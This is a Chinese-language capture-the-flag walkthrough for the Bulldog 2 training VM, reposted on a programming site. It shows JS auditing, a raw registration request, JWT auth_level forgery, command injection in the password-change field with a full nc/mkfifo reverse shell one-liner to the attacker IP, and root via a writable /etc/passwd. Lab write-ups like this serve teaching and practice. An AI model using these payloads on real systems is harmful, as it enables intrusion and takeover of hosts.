渗透测试实战-bulldog 2靶机入侵

栏目: JavaScript · 发布时间: 6年前

内容简介:大家好!爱写靶机渗透文章的我又来了,因为是在工作闲暇时间做的靶机解题,所以更新可能会比较慢,为什么这篇要写在这个靶机呐?因为看到现在很多ctf和靶机都在使用nodojs出题,有可能会是个趋势,所以碰到了就写篇文章,让大家以后有个认识。bulldog 2靶机下载:

渗透测试实战-bulldog 2靶机入侵

前言

大家好!爱写靶机渗透文章的我又来了,因为是在工作闲暇时间做的靶机解题,所以更新可能会比较慢,为什么这篇要写在这个靶机呐?因为看到现在很多ctf和靶机都在使用nodojs出题,有可能会是个趋势,所以碰到了就写篇文章,让大家以后有个认识。

靶机安装/下载

bulldog 2靶机下载: https://pan.baidu.com/s/1crkVi54RbhczmqyHw3W1XQ

bulldog 2靶机ip:172.16.24.78

攻击者ip:172.16.24.89

渗透测试实战-bulldog 2靶机入侵

第一步不用怀疑,肯定还是nmap 神器开路

渗透测试实战-bulldog 2靶机入侵

可以看到该靶机只开放了80端口…, 下一部小伙伴们肯定是要探测目录了

渗透测试实战-bulldog 2靶机入侵

通过目录猜解可以看到没有发现什么可利用的目录,那根据个人经验估计突破口肯定在js文件里,

我们访问该靶机80端口,查看其js的调用情况。如图:

渗透测试实战-bulldog 2靶机入侵

可以看到该靶机首页调用了4个js文件,我们分别访问,美化一下看看(肯定有小伙伴要问了,为什么要美化。。 因为不美化是这样的,如图

渗透测试实战-bulldog 2靶机入侵

小弟这里把这4个js文件美化保持到本地, 下一步就是对其逐一进行审计查看,我们在查看页面的时候可以看到,页面上有个注册功能,但是我们点击报错。。。

渗透测试实战-bulldog 2靶机入侵

渗透测试实战-bulldog 2靶机入侵

我们使用 “register” 做为关键字对刚刚美化保存的4个js文件进行搜索,可以看到有所发现,如图:

渗透测试实战-bulldog 2靶机入侵

渗透测试实战-bulldog 2靶机入侵

根据js上的定义,我们可以使用 post提交 新账户信息来完成注册,但是注意这里有2点要求:

  1. Content-Type 必须要是:application/json
  2. post 数据包内容处,必须要严格按照js代码里的规范

post 数据包:

POST /users/register HTTP/1.1
Host: 172.16.24.78
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 15 Jul 2018 14:58:16 GMT
If-None-Match: W/“465-1649e73083e”
Content-Type: application/json
Content-Length: 96

{
“name”: “aqk”,
“email”: “aqk@test.com”,
“username”: “aqk”,
“password”: “123456”
}

渗透测试实战-bulldog 2靶机入侵

可以看到返回true,注册成功了,我们使用 “aqk”账号来登陆一下看看,

渗透测试实战-bulldog 2靶机入侵

可以看到已经成功登陆这个新账户的,但是没办法继续利用啊,怎么办。我们先退出登陆,回到注册点,在登陆看看,

1.先验证用户账户密码,如图:

渗透测试实战-bulldog 2靶机入侵

2.账号密码正确后,该靶机传递一个奇怪的tonken,如图:

渗透测试实战-bulldog 2靶机入侵

下一步我们就来解密一下看这个tonken传递了什么内容,我们可以去Google搜索 “jwt 解密” (注:百度搜索这个关键词出现一堆有的没的,谷歌搜索第一条就是我们想要的。优秀)

解密网址: https://jwt.io

我们把那个tonken后面的编码复制进去查询一下看看,如图:

渗透测试实战-bulldog 2靶机入侵

可以看到一个可疑的参数:“auth_level”,通过名字就应该知道是判断用户权限的,我们进行使用这个参数去刚刚保存的几个js文件里搜索看看,如图:

渗透测试实战-bulldog 2靶机入侵

在743行代码处,看到它的判断,下一步我们只需要把“master_admin_user” 替换掉原来的就行,如图:

渗透测试实战-bulldog 2靶机入侵

下一步就是复制修改后的新编码替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:

渗透测试实战-bulldog 2靶机入侵

放包以后,我们成功已经变成了 admin 账户,

渗透测试实战-bulldog 2靶机入侵

下一步突破口在修改密码处,为什么呢?因为前面测试的时候找到了其github上托管的代码,并发现在修改密码的密码处存在命令执行漏洞,如图:

  1. 报错信息:

渗透测试实战-bulldog 2靶机入侵 关键字“Bulldog-2-The-Reckoning”

2.github搜索

渗透测试实战-bulldog 2靶机入侵

3.发现漏洞

渗透测试实战-bulldog 2靶机入侵

当然各位小伙伴们也可以不用这么麻烦手动挖掘到这个漏洞,因为就那么2个功能页面。。。

下面我们就直接在修改密码处执行漏洞拿反弹shell,如图:

渗透测试实战-bulldog 2靶机入侵

注:此处的反弹 shell 命令为:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.24.89 6666 >/tmp/f

渗透测试实战-bulldog 2靶机入侵

成功拿到shell。

接下来肯定是提权了,相信看过小弟文章的都知道,该怎么弄了,这次小弟写个不一样的。

1.切换到/etc,查看passwd文件读写权限,如图:

渗透测试实战-bulldog 2靶机入侵

(注:命令出现重复,是特例,小伙伴们如果碰到这种情况,重新反弹一个shell回来就行,小弟懒,就算了…)

可以看到passwd文件可以写。。。 我们查看一下用户

渗透测试实战-bulldog 2靶机入侵

下一步我们只需要新建一个root用户就行,操作如下:

1.命令:perl -le ‘print crypt(“pass”, “aa”)’

渗透测试实战-bulldog 2靶机入侵

2.复制 passwd文件里 root 用户那列继续修改,如图

渗透测试实战-bulldog 2靶机入侵 注:我们只需要修改3处:一个是名字、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改,相信小伙伴们都了解过passwd文件的对于的权限类型

下一步我们就直接把这个新创建的用户写入passwd文件里即可,

渗透测试实战-bulldog 2靶机入侵

确认一切都没问题了,就可以直接输入命令:su hack

密码为刚刚设置的:pass

成功拿到root权限,并拿到flag,如图:

渗透测试实战-bulldog 2靶机入侵

结语

不管是靶机的安全检测还是平时的渗透测试工作,我们都不应该去忽略js文件,可能有惊喜哦!多花点时间多考虑一个点,我相信你会有更多收获!最后祝大家生活愉快,国庆节快乐!


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python编程实践

Python编程实践

Jennifer Campbell、Paul Gries、Jason Montojo、Greg Wilson / 唐学韬 / 机械工业出版社华章公司 / 2011-12-31 / 49.00元

Python是当今世界流行的编程语言之一。本书共15章,通过一些短小精悍的交互式Python脚本帮助学生进行练习,并在这个过程中掌握诸如数据结构、排序和搜索算法、面向对象编程、数据库访问、图形用户界面等基本概念以及良好的程序设计风格。本书既是一本注重科学的计算机科学专业教材,也是一本目标明确的Python参考书。 本书语言风格言简意赅,图表丰富,简单实用,是一本优秀的Python入门级读物,......一起来看看 《Python编程实践》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具